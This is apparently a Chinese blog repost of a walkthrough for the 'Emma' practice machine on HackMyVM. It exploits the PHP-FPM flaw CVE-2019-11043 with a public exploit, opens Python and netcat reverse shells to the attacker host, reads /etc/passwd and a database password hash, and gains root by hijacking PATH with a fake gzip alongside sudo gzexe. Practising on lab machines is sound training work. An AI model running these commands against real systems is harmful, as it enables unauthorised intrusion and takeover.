渗透测试靶机练习No.91 Emma

admin 2022年5月10日22:28:24评论109 views字数 2237阅读7分27秒阅读模式

渗透测试靶机练习No.91 Emma

靶机信息

下载地址:

https://hackmyvm.eu/machines/machine.php?vm=Emma
网盘链接:https://pan.baidu.com/s/1OjMwuU6F1V98x2UnLz-eHA?pwd=xcvx

靶场: HackMyVm.eu

靶机名称: Emma

难度: 困难

发布时间: 2021年2月4日

提示信息:

目标: user.txt和root.txt


实验环境

攻击机:VMware kali 10.0.0.3 eth0桥接互联网,eth1桥接vbox-Host-Only

靶机:Vbox linux IP自动获取 网卡host-Only


信息收集

扫描主机

扫描局域网内的靶机IP地址

fping -ag 10.0.0.0/24 2>/dev/null

渗透测试靶机练习No.91 Emma

扫描到主机地址为10.0.0.165

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 10.0.0.165 -oN nmap.log

渗透测试靶机练习No.91 Emma

扫描到22、80端口开放,先来看看80端口

Web渗透

渗透测试靶机练习No.91 Emma

访问后发现是个空白页面,来做个目录扫描

dirsearch -u http://10.0.0.165

渗透测试靶机练习No.91 Emma

扫描到多个目录,先来看看robots.txt

curl http://10.0.0.165/robots.txt

渗透测试靶机练习No.91 Emma

得到一段字符串,猜测是密码,再来看看phpinfo.php

http://10.0.0.165/phpinfo.php

渗透测试靶机练习No.91 Emma

知道版本号,来找找是否存在漏洞

CVE-2019-11043

渗透测试靶机练习No.91 Emma

通过搜索引擎发现漏洞为CVE-2019-11043

渗透测试靶机练习No.91 Emma

再到github上找exp,选个星最多的,拿到exp就来验证漏洞

git clone https://github.com/neex/phuip-fpizdam.git

渗透测试靶机练习No.91 Emma

exp需要安装go环境,如果你没有直接sudo apt install golang-go安装一个

运行exp要先配置国内代理否则无法下载模块。

export GOPROXY=https://goproxy.io,direct

渗透测试靶机练习No.91 Emma

go get -v
go build

渗透测试靶机练习No.91 Emma

执行exp

./phuip-fpizdam http://10.0.0.165/index.php

渗透测试靶机练习No.91 Emma

执行成功,按提示来验证

http://10.0.0.165/index.php?a=id

渗透测试靶机练习No.91 Emma

命令执行成功,反弹个shell到攻击机上

1。攻击机监听4444端口

nc -nlvp 4444

渗透测试靶机练习No.91 Emma

2。浏览器中执行反弹payload

http://10.0.0.165/index.php?a=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

渗透测试靶机练习No.91 Emma

反弹成功,切换到交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键
stty raw -echo;fg
reset

渗透测试靶机练习No.91 Emma

切换成功,来找找敏感信息

cat /etc/passwd

渗透测试靶机练习No.91 Emma

发现emma用户,还有一个mysql服务的账号,刚刚我们拿到了一组密码,猜测是这两个账号其中的一个密码,验证一下

ssh [email protected]

渗透测试靶机练习No.91 Emma

登录失败再来试试mysql

mysql -uroot -pitwasonlyakiss

渗透测试靶机练习No.91 Emma

经过几次测试找到正确的账号并登录到mysql中,来找找敏感信息

show databases;

渗透测试靶机练习No.91 Emma

发现名为users的库名,来看看表名

use users;
show tables;

渗透测试靶机练习No.91 Emma

发现表名也是users,再来看看内容

select * from users;

渗透测试靶机练习No.91 Emma

发现emma密码的md5值 ,找个在线网站解一下

https://cmd5.com/

渗透测试靶机练习No.91 Emma

拿到密码,登录SSH验证密码

ssh [email protected]

渗透测试靶机练习No.91 Emma

登录失败,

渗透测试靶机练习No.91 Emma

经过多次尝试,密码为解码前的字符串(就是不需要解码)。登录成功,来找找敏感信息

ls
cat user.txt

渗透测试靶机练习No.91 Emma

拿到user.txt,目录下还发现who和他的源码,来看看

ls -al who
cat who.c

渗透测试靶机练习No.91 Emma

发现who文件有s权限,源码中未发现如何利用,继续找

sudo -l

渗透测试靶机练习No.91 Emma

发现可以用root身份执行gzexe,来看看gzexe如何利用

gzexe --help

渗透测试靶机练习No.91 Emma

看帮助文件,gzexe程序会将原文件压缩并备份为同文件名加上~,再用man命令看看

man gzexe

渗透测试靶机练习No.91 Emma

提示说会依据环境变量来查找gzip程序。

思路:劫持环境变量伪造gzip,再利用gzexe压缩/bin/id命令让who程序无法调用/bin/id,最后执行who命令让他去调用我们伪造的gzip来达到反弹shell目地。

1。伪造gzip并支持环境变量

cd /tmp
echo 'nc 10.0.0.3 3333 -e /bin/bash' >gzip
chmod +x gzip
export PATH=/tmp:$PATH

渗透测试靶机练习No.91 Emma

2。攻击机监听3333端口

nc -nlvp 3333

渗透测试靶机练习No.91 Emma

3。压缩/bin/id

sudo -u root gzexe /bin/id

渗透测试靶机练习No.91 Emma

4。执行who

./who

渗透测试靶机练习No.91 Emma

反弹成功拿到root权限,来找一下flag

渗透测试靶机练习No.91 Emma

拿到root.txt,游戏结束。

渗透测试靶机练习No.91 Emma

渗透测试靶机练习No.91 Emma

原文始发于微信公众号(伏波路上学安全):渗透测试靶机练习No.91 Emma

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月10日22:28:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试靶机练习No.91 Emmahttp://cn-sec.com/archives/994396.html

发表评论

匿名网友 填写信息